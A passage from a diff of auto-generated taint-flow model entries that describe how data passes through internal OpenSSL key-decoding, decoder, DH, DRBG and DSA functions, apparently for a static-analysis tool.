**,long)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_DH_PUBKEY", "(DH **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_DH_PUBKEY", "(DH **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_DH_PUBKEY", "(DH **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_DH_PUBKEY", "(DH **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_DH_PUBKEY", "(DH **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_DHx_PUBKEY", "(DH **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_DHx_PUBKEY", "(DH **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_DHx_PUBKEY", "(DH **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_DHx_PUBKEY", "(DH **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_DHx_PUBKEY", "(DH **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_DHx_PUBKEY", "(DH **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_DHx_PUBKEY", "(DH **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_DSA_PUBKEY", "(DSA **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_DSA_PUBKEY", "(DSA **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_DSA_PUBKEY", "(DSA **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_DSA_PUBKEY", "(DSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_DSA_PUBKEY", "(DSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_DSA_PUBKEY", "(DSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_DSA_PUBKEY", "(DSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_ED25519_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_ED25519_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_ED25519_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_ED25519_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_ED25519_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_ED25519_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_ED25519_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_ED448_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_ED448_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_ED448_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_ED448_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_ED448_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_ED448_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_ED448_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_PUBKEY_legacy", "(EVP_PKEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_PUBKEY_legacy", "(EVP_PKEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_PUBKEY_legacy", "(EVP_PKEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_PUBKEY_legacy", "(EVP_PKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_PUBKEY_legacy", "(EVP_PKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_PUBKEY_legacy", "(EVP_PKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_PUBKEY_legacy", "(EVP_PKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_PrivateKey_legacy", "(int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ossl_d2i_PrivateKey_legacy", "(int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[**2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_PrivateKey_legacy", "(int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_d2i_PrivateKey_legacy", "(int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_PrivateKey_legacy", "(int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_PrivateKey_legacy", "(int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_PrivateKey_legacy", "(int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_PrivateKey_legacy", "(int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_PrivateKey_legacy", "(int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[3]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_PrivateKey_legacy", "(int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[3]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_X25519_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_X25519_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_X25519_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_X25519_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_X25519_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_X25519_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_X25519_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_X448_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_X448_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_X448_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_X448_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_X448_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_X448_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_X448_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_X509_PUBKEY_INTERNAL", "(const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[**0]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_d2i_X509_PUBKEY_INTERNAL", "(const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[**0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_d2i_X509_PUBKEY_INTERNAL", "(const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[**0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_d2i_X509_PUBKEY_INTERNAL", "(const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "ossl_d2i_X509_PUBKEY_INTERNAL", "(const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_d2i_X509_PUBKEY_INTERNAL", "(const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_d2i_X509_PUBKEY_INTERNAL", "(const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "ossl_d2i_X509_PUBKEY_INTERNAL", "(const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_d2i_X509_PUBKEY_INTERNAL", "(const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_d2i_X509_PUBKEY_INTERNAL", "(const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_d2i_X509_PUBKEY_INTERNAL", "(const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "ossl_d2i_X509_PUBKEY_INTERNAL", "(const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_d2i_X509_PUBKEY_INTERNAL", "(const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_d2i_X509_PUBKEY_INTERNAL", "(const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_decode_der_dsa_sig", "(BIGNUM *,BIGNUM *,const unsigned char **,size_t)", "", "Argument[*2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_decode_der_dsa_sig", "(BIGNUM *,BIGNUM *,const unsigned char **,size_t)", "", "Argument[*2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_decode_der_dsa_sig", "(BIGNUM *,BIGNUM *,const unsigned char **,size_t)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_decode_der_dsa_sig", "(BIGNUM *,BIGNUM *,const unsigned char **,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_decode_der_dsa_sig", "(BIGNUM *,BIGNUM *,const unsigned char **,size_t)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_decode_der_integer", "(PACKET *,BIGNUM *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_decode_der_length", "(PACKET *,PACKET *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_decoder_ctx_add_decoder_inst", "(OSSL_DECODER_CTX *,OSSL_DECODER_INSTANCE *)", "", "Argument[*1]", "Argument[*0].Field[**decoder_insts].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "ossl_decoder_ctx_add_decoder_inst", "(OSSL_DECODER_CTX *,OSSL_DECODER_INSTANCE *)", "", "Argument[1]", "Argument[*0].Field[**decoder_insts].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_decoder_ctx_get_harderr", "(const OSSL_DECODER_CTX *)", "", "Argument[*0].Field[*harderr]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_decoder_fast_is_a", "(OSSL_DECODER *,const char *,int *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_decoder_from_algorithm", "(int,const OSSL_ALGORITHM *,OSSL_PROVIDER *)", "", "Argument[0]", "ReturnValue[*].Field[*base].Field[*id]", "value", "dfc-generated"] + - ["", "", True, "ossl_decoder_from_algorithm", "(int,const OSSL_ALGORITHM *,OSSL_PROVIDER *)", "", "Argument[1]", "ReturnValue[*].Field[*base].Field[*algodef]", "value", "dfc-generated"] + - ["", "", True, "ossl_decoder_from_algorithm", "(int,const OSSL_ALGORITHM *,OSSL_PROVIDER *)", "", "Argument[2]", "ReturnValue[*].Field[*base].Field[*prov]", "value", "dfc-generated"] + - ["", "", True, "ossl_decoder_get_number", "(const OSSL_DECODER *)", "", "Argument[*0].Field[*base].Field[*id]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_decoder_instance_dup", "(const OSSL_DECODER_INSTANCE *)", "", "Argument[*0].Field[**decoder]", "ReturnValue[*].Field[**decoder]", "value", "dfc-generated"] + - ["", "", True, "ossl_decoder_instance_dup", "(const OSSL_DECODER_INSTANCE *)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_decoder_instance_dup", "(const OSSL_DECODER_INSTANCE *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_decoder_instance_dup", "(const OSSL_DECODER_INSTANCE *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "ossl_decoder_instance_new", "(OSSL_DECODER *,void *)", "", "Argument[**1]", "ReturnValue[*].Field[***decoderctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_decoder_instance_new", "(OSSL_DECODER *,void *)", "", "Argument[*0]", "ReturnValue[*].Field[**decoder]", "value", "dfc-generated"] + - ["", "", True, "ossl_decoder_instance_new", "(OSSL_DECODER *,void *)", "", "Argument[*1]", "ReturnValue[*].Field[**decoderctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_decoder_instance_new", "(OSSL_DECODER *,void *)", "", "Argument[0]", "ReturnValue[*].Field[*decoder]", "value", "dfc-generated"] + - ["", "", True, "ossl_decoder_instance_new", "(OSSL_DECODER *,void *)", "", "Argument[1]", "ReturnValue[*].Field[*decoderctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_decoder_instance_new_forprov", "(OSSL_DECODER *,void *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**decoder]", "value", "dfc-generated"] + - ["", "", True, "ossl_decoder_instance_new_forprov", "(OSSL_DECODER *,void *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*decoder]", "value", "dfc-generated"] + - ["", "", True, "ossl_decoder_parsed_properties", "(const OSSL_DECODER *)", "", "Argument[*0].Field[*base].Field[**parsed_propdef]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_decoder_parsed_properties", "(const OSSL_DECODER *)", "", "Argument[*0].Field[*base].Field[*parsed_propdef]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_default_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[*0]", "Argument[**3].Field[**handle]", "value", "dfc-generated"] + - ["", "", True, "ossl_default_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[*1].Field[*function]", "Argument[**3].Field[*core_get_params]", "value", "dfc-generated"] + - ["", "", True, "ossl_default_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[0]", "Argument[**3].Field[*handle]", "value", "dfc-generated"] + - ["", "", True, "ossl_default_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_default_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dh_buf2key", "(DH *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**pub_key].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dh_buf2key", "(DH *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[**pub_key].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dh_buf2key", "(DH *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[**pub_key].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dh_buf2key", "(DH *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[**pub_key].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dh_buf2key", "(DH *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[**pub_key].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dh_check_priv_key", "(const DH *,const BIGNUM *,int *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dh_check_pub_key_partial", "(const DH *,const BIGNUM *,int *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dh_compute_key", "(unsigned char *,const BIGNUM *,DH *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dh_dup", "(const DH *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_dh_generate_ffc_parameters", "(DH *,int,int,int,BN_GENCB *)", "", "Argument[3]", "Argument[*0].Field[*params].Field[**seed]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dh_generate_ffc_parameters", "(DH *,int,int,int,BN_GENCB *)", "", "Argument[3]", "Argument[*0].Field[*params].Field[*seedlen]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dh_get0_nid", "(const DH *)", "", "Argument[*0].Field[*params].Field[*nid]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_dh_get0_params", "(DH *)", "", "Argument[*0].Field[*params]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_dh_get_method", "(const DH *)", "", "Argument[*0].Field[**meth]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_dh_get_method", "(const DH *)", "", "Argument[*0].Field[*meth]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_dh_key2buf", "(const DH *,unsigned char **,size_t,int)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dh_key2buf", "(const DH *,unsigned char **,size_t,int)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dh_key2buf", "(const DH *,unsigned char **,size_t,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dh_key_fromdata", "(DH *,const OSSL_PARAM[],int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dh_key_todata", "(DH *,OSSL_PARAM_BLD *,OSSL_PARAM[],int)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dh_new_by_nid_ex", "(OSSL_LIB_CTX *,int)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_dh_new_by_nid_ex", "(OSSL_LIB_CTX *,int)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_dh_new_ex", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_dh_new_ex", "(OSSL_LIB_CTX *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_dh_params_fromdata", "(DH *,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dh_params_todata", "(DH *,OSSL_PARAM_BLD *,OSSL_PARAM[])", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dh_set0_libctx", "(DH *,OSSL_LIB_CTX *)", "", "Argument[*1]", "Argument[*0].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_dh_set0_libctx", "(DH *,OSSL_LIB_CTX *)", "", "Argument[1]", "Argument[*0].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_digest_default_get_params", "(OSSL_PARAM[],size_t,size_t,unsigned long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_digest_default_get_params", "(OSSL_PARAM[],size_t,size_t,unsigned long)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_digest_default_get_params", "(OSSL_PARAM[],size_t,size_t,unsigned long)", "", "Argument[2]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_digest_default_get_params", "(OSSL_PARAM[],size_t,size_t,unsigned long)", "", "Argument[3]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ossl_digest_md_to_nid", "(const EVP_MD *,const OSSL_ITEM *,size_t)", "", "Argument[*1].Field[*id]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_do_PVK_header", "(const unsigned char **,unsigned int,int,int *,unsigned int *,unsigned int *)", "", "Argument[**0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "ossl_do_PVK_header", "(const unsigned char **,unsigned int,int,int *,unsigned int *,unsigned int *)", "", "Argument[**0]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_do_PVK_header", "(const unsigned char **,unsigned int,int,int *,unsigned int *,unsigned int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_do_PVK_header", "(const unsigned char **,unsigned int,int,int *,unsigned int *,unsigned int *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "ossl_do_PVK_header", "(const unsigned char **,unsigned int,int,int *,unsigned int *,unsigned int *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_do_blob_header", "(const unsigned char **,unsigned int,unsigned int *,unsigned int *,int *,int *)", "", "Argument[**0]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_do_blob_header", "(const unsigned char **,unsigned int,unsigned int *,unsigned int *,int *,int *)", "", "Argument[**0]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_do_blob_header", "(const unsigned char **,unsigned int,unsigned int *,unsigned int *,int *,int *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_do_blob_header", "(const unsigned char **,unsigned int,unsigned int *,unsigned int *,int *,int *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "ossl_do_blob_header", "(const unsigned char **,unsigned int,unsigned int *,unsigned int *,int *,int *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_do_ex_data_init", "(OSSL_LIB_CTX *)", "", "Argument[*0].Field[*global].Field[*ex_data_lock]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_drbg_clear_seed", "(void *,unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_drbg_get_ctx_params", "(PROV_DRBG *,OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_drbg_get_ctx_params_no_lock", "(PROV_DRBG *,OSSL_PARAM[],int *)", "", "Argument[*0].Field[*max_request]", "Argument[*1].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_drbg_get_ctx_params_no_lock", "(PROV_DRBG *,OSSL_PARAM[],int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_drbg_get_seed", "(void *,unsigned char **,int,size_t,size_t,int,const unsigned char *,size_t)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_drbg_get_seed", "(void *,unsigned char **,int,size_t,size_t,int,const unsigned char *,size_t)", "", "Argument[3]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_drbg_get_seed", "(void *,unsigned char **,int,size_t,size_t,int,const unsigned char *,size_t)", "", "Argument[4]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_drbg_hmac_generate", "(PROV_DRBG_HMAC *,unsigned char *,size_t,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_drbg_set_ctx_params", "(PROV_DRBG *,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dsa_check_params", "(const DSA *,int,int *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dsa_check_priv_key", "(const DSA *,const BIGNUM *,int *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dsa_check_pub_key", "(const DSA *,const BIGNUM *,int *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dsa_check_pub_key_partial", "(const DSA *,const BIGNUM *,int *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dsa_do_sign_int", "(const unsigned char *,int,DSA *,unsigned int,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_dsa_dup", "(const DSA *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_dsa_ffc_params_fromdata", "(DSA *,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dsa_generate_ffc_parameters", "(DSA *,int,int,int,BN_GENCB *)", "", "Argument[3]", 